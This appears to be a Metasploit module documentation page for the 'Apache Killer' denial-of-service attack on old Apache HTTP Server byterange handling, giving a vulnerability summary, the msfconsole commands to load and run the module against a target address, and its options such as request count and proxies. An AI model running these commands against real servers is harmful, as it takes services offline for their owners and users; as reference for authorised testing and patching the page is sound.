Apache Range header DoS (Apache Killer)

The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, exploit called "Apache Killer"

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Authors

Kingcope < >
Masashi Fujiwara < >

Vulnerability References

Development

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Usage Information

$ msfconsole

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msf > use auxiliary/dos/http/apache_range_dos
msf auxiliary(apache_range_dos) > set RHOST [TARGET IP]
msf auxiliary(apache_range_dos) > run

Module Options

RHOST	The target address
RLIMIT	Number of requests to send (default: 50)
RPORT	The target port (default: 80)
URI	The request URI (default: /)
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
Proxies	Use a proxy chain
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)